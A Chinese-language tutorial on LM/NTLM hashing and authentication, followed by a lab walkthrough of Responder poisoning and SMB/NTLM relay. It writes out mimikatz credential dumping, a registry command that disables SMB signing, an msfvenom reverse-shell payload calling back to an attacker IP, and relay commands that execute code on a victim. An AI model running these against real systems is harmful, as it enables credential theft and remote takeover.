LM 与 NTLM
Windows对用户的密码凭证有两种加密算法,也就是本文写的ntlm和lm。在使用QuarksPwDump抓密码的时候经常看到形如这样的hash
admin:1003:AAD3B435B51404EEAAD3B435B51404EE:111F54A2A4C0FB3D7CD9B19007809AD6::: Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0::: Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:58EC08167E274AD52D1849DA7A3E9A81:::
其中冒号分割的前半段AAD3B435B51404EEAAD3B435B51404EE是lm hash,后半段111F54A2A4C0FB3D7CD9B19007809AD6是ntlm hash。前半段放到cmd5解密会发现是空密码,那是因为Windows版本的原因。
下面是各个版本对LM和NTLM的支持:
其中
也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。(因此后面我们介绍身份认证的时候只介绍Net-ntlm,不再介绍net-lm)如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。
接下来先介绍这两种认证的认证过程和加密算法。
LM Hash
LAN Manager (LM) Hash 时WIndows 系统所用的第一种密码哈希算法,本质为DES加密
LM Hash 生成原理
1.用户密码转换为大写,最大长度限制为14个字符,
2.密码转换为16进制字符串,不足14个字节将用0来补全
3.密码的16进制被分成两个7byte部分,每部分转换成比特流,并且长度为为56bit,长度不足则在左边用0补齐
4.再分为7bit为一组,每组末尾加0,再组成一组
5.将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串KGS!@#$%进行加密
将 123994 使用文本编辑器 转换为十六进制
转换后 为 313233393934 (12*4 bits) 而为了满足14字节(14 * 8 bits) 后续全都用0补全
所以 补全后的十六进制为 3132333939340000 0000000000000000
将以上编码分词2组7字节(7*8 bits) 31323339393400000000000000000000
将以上两组7字节的十六进制转换为 二进制,每7bit 一组末尾加0,再转换为十六进制组成的两组8字节的编码
31323339393400 转换为 二进制位
00110001001100100011001100111001001110010011010000000000 长度不足便在左边补0 这里从计算器复制过来没有前面两个0
0011000 1001100 1000110 0110011 1001001 1100100 1101000 0000000 每7位分为一组
00110000 10011000 10001100 01100110 10010010 11001000 11010000 00000000 每一组末尾补0
将每一组转换位十六进制
00110000 10011000 1000110 001100110 10010010 11001000 11010000 0000000030 98 8C 66 92 C8 D0 00
最终得到 30988C6692C8D000 同理 00000000000000 (14个0 ) 得到 0000000000000000(16个0)
最后再将 以上两组8字节编码 分别作为DES 加密的密钥 为 魔术字符串 KGS!@#$% 进行加密
该魔术字符串转换为16进制为 4B47532140232425
# python实现LM-HASH脚本 # coding=utf-8 import base64 import binascii from pyDes import *
def DesEncrypt(str, Des_Key): k = des(Des_Key, ECB, pad=None) EncryptStr = k.encrypt(str) return binascii.b2a_hex(EncryptStr)
def Zero_padding(str): b = [] l = len(str) num = 0 for n in range(l): if (num < 8) and n % 7 == 0: b.append(str[n:n + 7] + '0') num = num + 1 return ''.join(b) if name== "main": test_str = "123994" # 用户的密码转换为大写,并转换为16进制字符串 test_str = test_str.upper().encode('hex') str_len = len(test_str) # 密码不足14字节将会用0来补全 if str_len < 28: test_str = test_str.ljust(28, '0') # 固定长度的密码被分成两个7byte部分 t_1 = test_str[0:len(test_str) / 2] t_2 = test_str[len(test_str) / 2:] # 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度 t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0') t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0') # 再分7bit为一组末尾加0,组成新的编码 t_1 = Zero_padding(t_1) t_2 = Zero_padding(t_2) print t_1 t_1 = hex(int(t_1, 2)) t_2 = hex(int(t_2, 2)) t_1 = t_1[2:].rstrip('L') t_2 = t_2[2:].rstrip('L') if '0' == t_2: t_2 = "0000000000000000" t_1 = binascii.a2b_hex(t_1) t_2 = binascii.a2b_hex(t_2) # 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。 LM_1 = DesEncrypt("KGS!@#$%", t_1) LM_2 = DesEncrypt("KGS!@#$%", t_2) # 将二组DES加密后的编码拼接,得到最终LM HASH值。 LM = LM_1 + LM_2 print LM
LM Hash 缺点
1.密码长度最大只能为14个字符
2.密码无法区分大小写,在生成哈希值之前,所有密码都将转换为大写
3.如果密码强度小于7位,那个第二个分组加密后的结果一定为 aad3b435b51404ee
4.Des 容易被破解 密码强度不高
在Windows Vista 和 Windows Server 2008 版本后 Windows默认禁用了LM Hash。LM-Hash 明文密码限制在14位以内,也就是说,如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash 通常为 aad3b435b51404eeaad3b435b51404ee
NTLM Hash
LM Hash 的脆弱性显而易见,所以微软于1993年在Windows NT 3.1中引入了NTLM协议。NT LAN Manager (NTML) Hash 是基于MD4算法。从Windows Vista/Windows Server 2003以后Windows的默认认证方式均为NTLM Hash。
NTLM Hash生成原理
1.将用户密码转换为十六进制
2.将十六进制格式的密码转换成Unicode格式,即在每个字节之后添加0x00
3.使用MD4摘要算法对Unicode编码数据进行Hash计算
以密码123456为例 ,
首先将密码字符串转换为十六进制,123456 => 31 32 33 34 35 36
再进行Unicode 编码, 31 32 33 34 35 36 => 310032003300340035003600
进行md4加密
import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "123456".encode("utf-16le")).digest()) # 123456 # 32ed87bdb5fdc5e9cba88547376818d4
NTLM 认证
NTLM认证 Windows 的 NTLM 认证就是利用 NTLM Hash 进行的认证,可以分为 本地认证 和 网络认证 两种方式。NTLM 的网络认证,既可用于域内的认证服务,又可用于工作组环境。NTLM 有 NTLMv1 、NTLMv2 、NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本。
NTLM本地认证
本地认证采用sam hash比对的形式来判断用户密码是否正确,计算机本地用户的所有密码被加密存储在 %SystemRoot%\system32\config\sam 文件中,这个文件更像是一个存储用户密码的数据库。
在进行本地认证的过程中,当用户登录时,系统将用户输入的明文密码加密成 NTLM Hash ,与 SAM数据库中的 NTLM Hash 进行比较,从而实现认证。
NTLM本地认证详细流程
winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出。LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。
当用户注销、重启、锁屏后,操作系统会让 winlogon.exe 显示登陆界面
当winlogon.exe接收到账号密码输入之后,会将密码交给lsass进程
将明文密码加密成NTLM Hash
与SAM数据库比较认证
读取SAM中文件的NTLM Hash
如果想要读取SAM文件的话,需要借助一些工具来读取NTLM中的hash值
mimikatz
项目地址:https://github.com/gentilkiwi/mimikatz注意:
需要管理员权限
当机器安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords""
LaZagne
注意:需要管理员权限
lazagne.exe all
NTLM网络认证
NTLM是一种网络认证协议,它是基于挑战(Chalenge)/响应(Response)认证机制的一种认证模式。(这个协议只支持Windows),由三种消息组成:通常称为type 1(协商),类型type 2(质询)和type 3(身份验证)。
协商 主要用于确认双方协议版本(NTLM v1/NTLM V2)
质询 就是挑战(Challenge)/响应(Response)认证机制起作用的范畴。
验证 验证主要是在质询完成后,验证结果,是认证的最后一步。
1.用户登录客户端电脑
2.(Type1 协商) 客户端向服务器发送Type1(协商消息)。 主要包含客户端支持和服务器请求的功能列表
3.(Type2 响应) 服务器用Type2消息(质询)进行响应,将传输数据传给NTLM SSP进行处理,然后返回一个16为随机值(称为challenge),将其发送给客户端并在本地缓存该challenge。
4.(Type3 身份认证) 客户端用Type3消息(身份验证)回复质询。客户端接收到过程3中的challenge后,使用用户hash与本地缓存的challenge进行加密运算得到response(Net-NTLM Hash1),将response,username,challenge封装后一起发送给服务器。
其中的response 最为关键,因为它们像服务器证明客户端用户已经知道了账户的密码。
服务器拿到Type3(认证消息)之后,会使用本地缓存的challenge和用户hash进行加密得到response2(Net-NTLM Hash2)Type3发来的response(Net-NTLM Hash1)进行比较,如果匹配则认证通过
【如果用户hash是存储在域控里面的话,那么没有用户hash就没办法去计算response2。也就没法验证。这时用户服务器就会通过NetLogon协议练习用户建立一个安全通道然后将Type1,Type2,Type3全部发给域控(这个过程也叫 Pass Through Authentication 认证流程)】
6.域控使用challenge和用户的Hash进行加密得到 response2 与Type3的response进行比较
在域环境下,NTLM的认证方式与上面基本相同,唯一不同点是第5步,服务端会向域控请求校验。!
在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。
注意:
Challenge 是 Server产生的一个16字节的随机数,再每次认证时都不同。
Response 的表现形式为Net-NTLM Hash,他是有客户端提供密码Hash加密Server返回的Challenge产生的结果。
简单的说就是
协商客户端发送协商消息(包含用户的NTLM Hash)给服务端。
2.响应服务端收到协商消息后 生成一个challenge 发送给客户端,并在本地缓存challenge方便后续认证时进行对比。
3.身份认证客户端收到challenge 后,将challenge与本地hash加密得到response ,将response与username、challenge等一起封装后发送给服务端;服务端接收到客户端发送的认证消息后,将本地缓存的challenge与用户Hash加密得到response2 与 发来的response进行比较,如果匹配那么认证就通过。
Net-NTLM Hash
Net-NTLM Hash 与 NTLM Hash 不一样。NTLM 认证的第三步中,客户端收到服务端返回的 TYPE 2 消息后, 会读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的 NTLM-Hash 对其进行加密,并与用户名、Challenge 等一起组合得到 Net-NTLM Hash,最后将 Net NTLM Hash封装到 TYPE 3 Authenticate消息中,发往服务端。也就是说 Net-NTLM Hash 是网络环境下 NTLM 认证的散列值。NTLM v1 响应和 NTLM v2 响应对应的就是 Net-NTLM Hash 分为 Net-NTLM Hash v1 和 Net-NTLM Hash v2。NTLM 有 NTLMv1 、NTLMv2 、NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本。
在Type3中的响应,有六种类型,这六种的加密流程都是一样的,区别在于Challenge和加密算法。
LM响应(LAN Manager)由大多较早的客户端发送(“原始”响应类型)
NTLM v1响应 基于NT客户端发送的,包括Windows 2000和 XP
NTLM v2响应 在Windows NTService Pack4 中引入一种较新的响应类型,他替换启用了NTLM版本2的系统上的NTLM响应
LM v2响应 替代NTLM版本2系统上的LM响应
NTLM2会话响应(NTLM Mession v2) 用于在没有NTLMv2身份验证的情况下协商NTLM2会话、安全性时,此方案会更改LM NTLM 响应的语义
匿名响应 当匿名上下午正在建立时使用,没有提供实际的证书,也没有真正的身份验证。
下面侧重讲NTLM v1响应 和 NTLM v2响应:
v1是8位的challenge,v2是16位的challenge
v1加密算法:将16位字节的NTLM Hash填空位21个字节,然后分成3组,每组7个字节,所以3DES 加密算法的三组密钥,加密Server发送过来的challenge 。将这三个密文值连接起来得到response
v2加密算法:
将Unicode后的大写用户名和Unicode后的身份验证目标拼接在一起。用户名转换为大写么人身份验证目标区分大小写,并且必须与 TargetName 字符按中显示的大小写匹配。将16字节NTLMHash作为密钥,得到一个值。
构建一个blob信息
使用16字节的NTLM v2 HAsh作为密钥,将HMAC-MD5消息认证代码算法 加密一个值。得到一个16字节的NTProofStr.
将 NTProofStr 与 Blob 拼接起来得到 response对与选择哪个版本的响应是由LmCompatibilityLevel决定的。
Challenge/Response验证机制里面type3 response里面包含Net-ntlm hash,NTLM v1响应和NTLMv2响应对应的就是Net-ntlm hash分为Net-ntlm hash v1和Net-ntlm hash v2。
Net-NTLM Hash v1的格式为:
username::hostname:LM response:NTLM response:challenge
Net-NTLM Hash v2的格式为:
username::domain:challenge:HMAC-MD5:blob
NTLM v1& NTLM v2 异同点
NTLM v1 与 NTLM v2 最显著的区别就是 challenge与加密算法不同,相同点为进行加密时都用了用户的NTLM Hash。不同点主要为:
Challenge:
Net-NTLM Hash: NTLM v1主要加密算法为DES, NTLM v2主要加密算法为 HMAC-MD5
Net-NTLM Hash 不能像 NTLM Hash 一样被攻击者用来进行哈希传递,但是攻击者可以使用各种方法截获客户端与 Server 认证过程中的 Net-NTLM Hash,然后对其进行明文爆破,或者直接用来进行 NTLM 中继攻击。
Net-NTLM Hash 是在Type3 身份认证响应过程中产生的()
SSP& SSPI
SSPI(Security Support Provider Interface)
SSPI(Security Support Provider Interface) 安全支持提供者接口, 是 Windows 操作系统中用于执行各种安全相关操作(如身份验证)的一个Win32 API。
SSP(Security Support Provider)
Windows 身份验证协议Microsoft 安全支持提供程序接口 (SSPI) 是 Windows 身份验证的基础。 要求身份验证的应用程序和基础结构服务会使用 SSPI ,使用的协议就是以下 SSP 安全协议。
NTLM SSP((msv1_0.dll))
为Windows 2000之前的客户端-服务器域和非域身份验证(SMB/CIFS)提供NTLM质询/响应身份验证。
Kerberos(kerberos.dll)
Windows 2000及更高版本中首选的客户端-服务器域相互身份验证。
Cred SSP(credssp.dll)
为远程桌面连接提供单点登录(SSO)和网络级身份验证。
Digest SSP
Negotiate SSP(secur3*2.dll)
选择Kerberos,如果不可用则选择NTLM协议。协商SSP提供单点登录能力,有时称为集成Windows身份验证
Schannel SSP(Schannel.dll)
Windows 2000中引入,Windows Vista中更新为支持更强的AES加密和ECC该提供者使用SSL/TLS记录来加密数据有效载荷。
Negotiate Extensions SSP
PKU2U SSP(pku2u.dll)
在不隶属域的系统之间提供使用数字证书的对等身份验证。
摘要SSP(wdigest.dll)
在Windows与Kerberos不可用的非Windows系统间提供基于HTTP和SASL身份验证的质询/响应.
SSP和SSPI如何工作
NTLM SSP原理(NTLM身份验证协议)
https://tttang.com/archive/1560/#toc_ntlm-ssp-ntlm
NTLM Relay 中继攻击原理
NTLM Hash 分为 NTLM v1NTLM v2NTLM Session v2 三种,NTLMv2安全性要比NTLMv1 高一些。如果获得的是 NTLM v1,就可以直接进行爆破;如果遇到的是NTLM v2,那么就可以尝试使用NTLM Relay攻击。在NTLM Relay中,我们需要截获 Net-NTLM Hash重放进行攻击(NTLM Relay),从而实现对其他机器的控制控制。对于工作组的机器来说,两台机器的密码需要一致才能成功,对于域用户来说,被欺骗用户(发起请求的用户)需要域管理员组里边的用户才可以,NTLM 中继成功后的权限为被欺骗用户的权限。
简单来说,实现Relay攻击需要两个步骤:
1.获取Net-NTLM Hash
2.重放攻击
获取Net-NTLM Hash的思路
思路是让受害者把Net-NTLM hash发送给攻击者,也就是说只要是使用SMB、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试用来向攻击者发送Net-NTLMhash。以下为几种常见的获取方法如下:
1.网络协议的欺骗与劫持
2.钓鱼攻击
3.与其他漏洞结合
微软的NTLM SSP(NTLM Security Support Provider)为NTLM认证的实现提供了基本功能,是Windows SSPI(Security Support Provider Interface )的一种具体实现。NTLMSSP只是实现了NTLM认证,并没有规定使用什么协议来进行传输。实际上SMB、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,也就是说我们可以通过这些协议来进行攻击。需要注意的是,上述过程中,用户密码的hash被称为LMhash或NThash(Windows Vista/Windowsserver 2008以后LMhash被弃用),即所谓的NTLMhash。而这类hash可以用来进行pass the hash攻击,并不能用来relay attack。这里介绍的relay attack严格意义上讲是用于网络认证的Net-NTLM hash的relay,Net-NTLM hash是由NTLM认证过程中服务端返回的challenge和客户端的response组成的。所以严格的讲,应该是Net-NTLM hash relay atack。如果你自己写一个利用 NTLM SSP 的程序,那么在拿到 NTLM 消息后,你可以以任何你喜欢的方式将这些消息发送至服务端。比如通过 HTTP,TCP,或者任何其他类型的 7 层协议,或者你自己定义的协议。
前面说过了 NTLM SSP 的 TYPE 1/2/3 三条消息。这三条消息本质上就是一组字节。在前面的描述中,说到“客户端在生成 TYPE 1 消息后,会将此消息发送到服务端”。那么客户端通过什么样的方式将此消息发送给服务端呢? NTLM 本身并没有定义应该用什么方式来发送,它只负责生成 TYPE 1/2/3 这 3 条消息。
意思就是:NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定。所以说 NTLM 是一个嵌入式协议。NTLM 的上层协议基本可以是任何协议(如果上层是基于UDP 的协议的话,可能会不一样),所以这引出了跨协议的 NTLM-Relay 技巧。无论 NTLM 的上层协议是什么,其携带的 NTLM 的三条消息都是由 NTLM SSP 生成的,所以上层协议在 relay 的过程中,是可以被替换掉的。比如从 http relay 至 smb,从 smb relay 至 ldap/mssql 等等。我们只需要将一个协议中的 NTLM 消息取出来,然后原样不动的地放入另一个协议,就完成了上层协议转换的过程。
SMB-Relay 与 NTLM-Relay
SMB-Relay 与 NTLM-Relay,这两种说法大家都见过,那么哪种才是正确的?
在理解了前面所说的 “NTLM 是嵌入式协议”的说法后,大家应该能够明白:SMB-Relay 指的是 NTLM 上层协议是 SMB 的情况。如果上层协议是 HTTP,也许你可以管它叫做 HTTP-Relay。无论上层协议是什么,都可以统称为 NTLM-Relay。
获取Net-NTLM Hash工具介绍
Responder(python编写) 下载地址:https://github.com/lgandx/ResponderInveigh(powershell编写)下载地址:https://github.com/Kevin-Robertson/Inveigh
参考 https://blog.csdn.net/qq_41874930/article/details/108825010#11responderinveigh_41
responder
https://github.com/lgandx/Responder
Inveigh
https://github.com/Kevin-Robertson/Inveigh
1. LLMNR/NBNS欺骗
在Windows系统名称解析顺序为:
本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS缓存/DNS服务器
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
也就是说如果前两种方法名称解析失败后,Windows系统就会通过第三种方法进行名称解析,也就可以使用这两种协议(LLMNR协议、NBNS协议)进行欺骗。先简单看下什么是LLMNR 和 NetBios。
LLMNR全称链路本地多播名称解析,是基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议。
NetBios全称网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装TCP/IP协议后会自动安装NetBIOS。
在局域网环境下,当用户输入了一个不存在、或者错误的的主机名,或者是在DNS种不存在的主机名时,Windows就会通过利用LLMNR和 NetBIOS名称服务进行查找,最终在局域网内广播LLMNR/NBNS数据包来请求解析主机名。而此时我们在局域网内有一台主机权限(攻击机),就可以伪装成受害主机想要访问的机器,从而让受害主机交出相应的登陆凭证。攻击机在此过程中主要是当作一个中间人,去截获客户端的Net-NTLM Hash。
使用Responder在局域网下开启监听,等待局域网内广播的数据报。
responder -l eht0 -f -v
假装这里是测试图![[假装有图片]]
然后再域控主机上利用SMB协议随便访问一个不存在的主机 dir \ip\c$ 之后监听主机就会接收到返回过来的Net-NTLM Hash值。
2.WPAD劫持
WPAD(Web Proxy Auto-Discovery Protocol) 是用来查找PAC文件的协议,其主要通过DHCP、DNS、LLMNR、NBNS协议来查找存放PAC文件的主机。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
用户在访问网页时,首先会查询PAC文件的位置,然后获取PAC文件,将PAC文件作为代理配置文件。 查询PAC文件的顺序如下 :
1.通过DHCP服务器
2.查询WPAD主机的IP
Hosts
DNS(cache/server)
LLMNR
NBNS
劫持WPAD一般有两种方式,一种是利用LLMNR/NBNS投毒,另外一种是利用ipv6协议,使用DHCPv6进行劫持。
配合LLMNR/NBNS投毒
一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签,从而获得用户的Net-NTLM Hash。
当浏览器设置为 “自动检测代理设置” 后,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。
使用 Responder创建一个假的WPAD服务器,并响应客户端的WPAD名称解析。然后客户端请求这个假的WPAD服务器种的wpad.dat文件。responder -l eth0 -r on -v -F on -w on
![[假装有图]]
配合DHCPv6
SMB中继攻击
https://redhatzone.com/ask/article/1459.html
原理
攻击演示
dc winsercer 2012域内机器 winserver 2008 出网 kali frp连进来
这部分在SMB中继攻击中详细复现
Responder中的MultiRelayx.py
Impacket中的smbrelayx.py
Impcaket中的ntlmrelayx.py
Metasploit中的smb_relay模块(ms08-068)
SMB Relay(一)
利用Responder/tools/MultiRelay.py可实现NTLM认证中继到SMB中去
自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 SMB签名。
简单说就是,A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限
在开启了SMB Signing的情况下,在SMB协议利用NTLM SSP进行了身份验证后,后续的所有数据包,都会利用NTLM SSP生成的这个session key进行签名。SMB服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。
NTLM SSP在生成session key的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而relay型的攻击,都是站在一个中间人的位置,我们是不可能知道原始 LM HASH或NT HASH的(如果知道了也就不需要 Relay 这种攻击手法了)。所以,我们是无法计算出来这个session key的,自然也就无法对数据包进行签名。
SMB签名是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。这样的话,即使NTLM会话还是可能被Relay,服务器也不会被利用,因为攻击者缺少会话密钥。在Active Directory 网络中只有域名控制器默认开启SMB签名,其他的所有服务器或工作组默认不受保护。
环境:
Kali(攻击机):10.10.3.111
Windows Server 2016(DC):10.10.3.6
Windows 7(受害者):10.10.3.100
使用的工具是kali自带的Responder,工具目录在/usr/share/responder/tools
1、首先修改Responder.conf文件关闭HTTP和SMB服务器
sudo vim /usr/share/responder/Responder.conf
如果开启了smb Signing,那我们的重放攻击就无法利用,但除了域控是默认开启的,其他的机器都是默认关闭的状态,所以可以直接利用。
关闭SMB签名验证的命令: Windows Server系列中RequireSecuritySignature子键默认值为1
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
所以我们先用RunFinger.py来查看下内网中开放的信息,看下smb签名的情况
到工具的目录下/usr/share/responder/tools
sudo python2 RunFinger.py -i 10.10.3.1/24
可以看到域控(10.10.3.6)开启了smb Signing,win7并没有开启,满足条件
现在我们就可以使用Responder进行投毒欺骗
sudo responder -I eth0
新建一个命令窗口,执行MultiRelay.py文件
sudo python3 MultiRelay.py -t 10.10.3.100 -u ALL
可以看到下面列出了win7的信息,现在我们就可以等待客户端输入错误的unc,触发smb,让smb有流量
在DC(10.10.3.6)中输入
net use \\wuqian
然后我们可以看到MultiRelay这边已经返回了Windows 7 的shell
SMB Relay(二)
我们还可以使用smbrelayx.py来做smb中继攻击,也是利用NTLM重放的原理,这个工具是在Impacket里面的,kali是自带了的,在/usr/local/bin/smbrelayx.py中。
Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。
环境同上
我们先在kali生成一个木马
msfvenom -p windows/x64/meterpreter/reverse_https LHOST**=**10.10.3.111 LPORT**=**4444 -f exe -o muma.exe
可以看到目录下已经生成了木马文件
msf启动监听模式
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
show options
填入端口和ip
set lhost 10.10.3.111
set lport 4444
run
监听已经开好了,我们现在开始使用smbrelayx.py来做中继攻击了,-h是要攻击的目标
python3 /usr/local/bin/smbrelayx.py -h 10.10.3.100 -e /usr/share/responder/tools/muma.exe
现在就等待目标机器来连接我们的kali服务器 在win7(10.10.3.100)上输入下面的命令
net use \\10.10.3.111\c$
然后msf收到shell
SMB Relay(三)
使用Metasploit模块
exploit/windows/smb/smb_relay //实质上是ms08-068
注意:Metasploit的SMBRelay只支持NTLM v1,所以在攻击一些机器时会出现Failed to authenticate的情况
SMB Relay(四)
ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器
./ntlmrelayx.py -t <指定的被攻击 IP>
我们同样可以利用-c选项来在目标主机上面执行命令:
./ntlmrelayx.py -t smb://10.10.3.100 -c whoami -smb2support
然后只要使用其他方法诱导域管理员或普通域用户访问攻击机搭建的伪造HTTP或SMB服务,并输入用户名密码
攻击者的ntlmrelayx.py上面即可显示成功在10.10.3.100上执行命令
中继攻击防御措施
1.SMB中继为滥用NTLM身份验证协议,所以干脆利落,完全禁用NTLM,切换到相对安全的 Kerberos,当然缺点也很明显,相对旧的操作系统不支持Kerberos身份验证。
2.启用SMB签名,SMB签名将通过对所有流量进行签名来防止中继到SMB,由于签名需要用户密码来验证消息,而攻击者没有受害者的密码,因此中继攻击者无法发送服务器将接收的任何流量,相对更安全。
NTLM反射
原理
当我们有了 NTLM 中继的知识点,学习 NTLM 反射就很简单了,可以理解为:攻击者通过一定的方法使得 Client 与自己进行认证,然后将 Client 发送过来的 Credential 转发回 Client 自身,从而攻击 Client(你也可以认为此时的 Client 也相当于是一台 Server)。早年出现的 SMBRelay 攻击方案就是这种方法。
SeAssignPrimaryTokenPrivilege权限
System账号(也叫LocalSystem)的交互服务与非交互服务初始特权都一样
非System账号的特权数一样(与具体账号有关),只是作为服务的程序大部分特权初始都是关闭的,需要服务自己根据需要打开(Enable)
System账号的的特权比Administrator账号多出几个特权
,SeAssignPrimaryTokenPrivilege ,SeLockMemoryPrivilege ,SeTcbPrivilege ,SeCreatePermanentPrivilege ,SeAuditPrivilege 但 Administrator帐号多了一个SeRemoteShutdownPrivilege特权
除了System账号,其他账号是不可能运行在TCB中的
如何利用
利用Potato提权的是前提是拥有 SeImpersonatePrivilege 或SeAssignPrimaryTokenPrivilege 权限,以下用户拥有SeImpersonatePrivilege 权限:
本地管理员账户(不包括管理员组普通账户)和本地服务账户
Windows服务的登陆账户
Local System(NT AUTHORITY\SYSTEM)
Network Service(NT AUTHORITY\Network Service)
Local Service(NT AUTHORITY\Local Service)
也就是说提权方向应该是:
Administrator ——> SYSTEM Service ——> SYSTEM
服务账户在 windows 权限模型中本身就拥有很高的权限 在实际渗透过程中,拿到 webshell 下,用户权限是 IIS 或者 apache ,或通过SQLi 执行 xp_cmdshell ,此时手里的服务账户在进行操作时是低权限账户,而使用该提权手法可以直接获取 SYSTEM 权限。
windows token
windows token 是描述安全上下文的对象,用户登陆后系统就会生成 token ,创建新进程或新线程时这个token会不断口碑
用户账户的(SID) 用户所属的组的SID 用于标识当前登陆会话的登陆SID 用户或用户组所拥有的权限列表 所有者SID 所有者组的SID 访问控制列表 访问令牌的来源 主令牌/模拟令牌 限制SID的可选列表
img
当用户具有SeImpersonatePrivilege 特权,则可以调用CreateProcessWithTokenW 时以某个Token的权限启动新进程 当用户具有SeAssignPrimaryTokenPrivilege 特权,则可以调用CreateProcessAsUserW 以Token 权限启动新进程